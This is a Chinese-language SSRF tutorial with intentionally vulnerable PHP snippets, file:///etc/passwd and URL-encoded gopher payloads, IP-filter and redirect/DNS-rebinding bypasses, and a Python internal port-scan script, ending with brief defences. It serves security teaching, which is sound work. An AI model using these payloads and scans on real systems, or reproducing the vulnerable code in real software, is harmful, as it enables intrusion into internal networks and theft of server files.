跳到主要内容

SSRF

概述

SSRF全称服务端请求伪造,通过传参能控制服务器访问某个url(服务器能发起请求),即存在ssrf漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统

SSRF漏洞危害

  • 端口扫描 通过http://ip:port/
  • 内网Web 应用指纹识别(通过内网web应用回显的前端代码指纹识别)
  • 攻击内网Web 应用(组合伪协议)
  • 读取本地文件(组合伪协议)

SSRF相关危险函数

file_get_contents(): #将整个文件或一个url所指向的文件读入一个字符串中。
readfile():#输出一个文件的内容。
fsockopen():#打开一个网络连接或者一个Unix 套接字连接
curl_exec():#初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():#打开一个文件文件或者 URL
  • file_get_contents()

    file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取

    <?php
    $url = $_GET['url'];;
    echo file_get_contents($url);
    ?>
  • fsockopen()

    fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机,实现对用户指定url数据的获取

    <?php
    $host=$_GET['url'];
    $fp = fsockopen($host, 80, $errno, $errstr, 30);//拼接host进入fsockopen函数发起
    socket连接
    if (!$fp) {
    echo "$errstr ($errno)<br />\n";//输出错误字符串和代码
    } else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
    echo fgets($fp, 128);
    }
    fclose($fp);
    }
    ?>
  • curl_exec()

    利用方式很多,最常见的是通过file、dict、gopher这三个协议来进行渗透

    <?php
    $url=$_POST['url'];
    $ch=curl_init($url); //创造一个curl资源
    curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch); // 抓取url并将其传递给浏览器
    curl_close($ch); //关闭curl资源
    echo ($result);
    ?>
  • readfile()

    <?php
    $url = $_GET['url'];;
    echo readfile($url);
    ?>

SSRF漏洞利用

  • 通过http(s)协议发起http(s)请求

    http://192.168.172.130/curl.php?url=http://192.168.179.160
  • 通过http(s)探测开放端口

    http://192.168.172.130/curl.php?url=http://192.168.179.160:22

    image-20221015095148478

  • 通过dict协议发起请求和探测开放端口

    http://192.168.172.130/curl.php?url=dict://192.168.179.160:22

    image-20221015095224903

  • 通过dict协议发起请求

    http://192.168.172.130/curl.php?url=dict://192.168.172.1:9090/1.php

    image-20221015095306449

  • 利用file伪协议读文件

    http://192.168.172.130/curl.php?url=file:///etc/passwd

    image-20221015095341476

  • 利用gophar协议发送GET/POST请求

    Gopher是Internet上一个非常有名的信息查找系统,在http出现之前主要使用其发送请求。它将Internet 上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码,在SSRF中经常会使用Gopher来构造GET/POST包攻击应用

    修改成功gophar协议的数据如下

    gopher://192.168.172.1:9090/_GET/1.php?123=123&456=456 HTTP/1.1
    Host: 192.168.172.1:9090
    Connection: Close

    url编码后如下所示

    gopher%3a%2f%2f192.168.172.1%3a9090%2f_get%20%2f1.php%3f123%3d123%26456%3d456
    %20http%2f1.1%0d%0ahost%3a%20192.168.172.1%3a9090%0d%0aconnection%3a%20close%
    0d%0a%0d%0a

    payload

    • get 请求

      http://192.168.172.130/curl.php?
      url=gopher%3A//192.168.172.1%3A9090/_GET%2520/flag.php%2520HTTP/1.1%250D%250A
      Host%253A%2520192.168.172.1%253A9090%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250A%250D%250A

      image-20221015100259014

    • POST请求

      http://192.168.172.130/curl.php?
      url=gopher%3A//192.168.172.1%3A9090/_POST%2520/flag.php%2520HTTP/1.1%250D%250
      AHost%253A%2520192.168.172.1%253A9090%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd
      7%250D%250A

      image-20221015100311740

SSRF绕过

  1. 服务限制输入的内容必须是http(s)+域名

    例如:请求的 URL 中必须包含 http://notfound.ctfhub.com,来尝试利用 URL 的一些特殊地方绕

    过这个限制

    payload

    ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php  #使用@符号绕过限制,@符号后添加IP地址
  2. 不允许输入172.* 127.* 192.* 10.*,使用进制转换绕过

    url=http://0x7f.0.0.1/flag.php
    url=http://0177.0.0.1/flag.php
  3. 对跳转的地址的长度有要求

    url=http://0/flag.php
    url=http://127.1/flag.php
    # 以上都是用来表示127.0.0.1
  4. 针对敏感关键字有检测并进行302重定向

    在公网服务器准备index.php,比如以下内容:

    <?php header('Location:http://172.16.12.50/flag')?>

    修改响应包中Location字段中的值为http://172.16.12.187/index.php

    ssrf.php?url=http://172.16.12.187/index.php

    或者也可以利用dns跳转

    在公网服务器准备index.php,比如以下内容:

    <?php header('Location:http://172.16.12.50/flag')?>

    利用网站https://lock.cmpxchg8b.com/rebinder.html生成一个域名(在B填入你的公网服务器IP地址,A填入内网IP)

    例如生成的域名为xxxxxxxx.3c0c0f32.rbndr.us,那么传入url=http://xxxxxxxx.3c0c0f32.rbndr.us就可以绕过检测来进行SSRF漏洞的利用

    服务器那边解析不一定就会按照预想的来,需要不停的发包来碰撞

SSRF内网探测脚本

#coding='utf-8'
import requests
scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088,7001,1433,1521]
def run():
for i in range(130,136):
for port in port_list:
ip='192.168.1.'+str(i)
payload = '{scheme}://{ip}:{port}'.format(
scheme=scheme,
ip=ip,
port=port
)
url= "http://192.168.172.130/ssrf.php?url={payload}".format(payload=payload)
print url
try:
r = requests.get(url,timeout=5,verify=False)
print r.text
except Exception,e:
pass
if __name__ == '__main__':
run()

SSRF漏洞防御与恢复

  • 限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求
  • 设置白名单,或限制内网IP,以防止对内网进行攻击
  • 禁止30x跳转,可以通过30x跳转绕过限制 ,location: http://192.168.172.130/index.php
  • 屏蔽返回的详细信息,无回显SSRF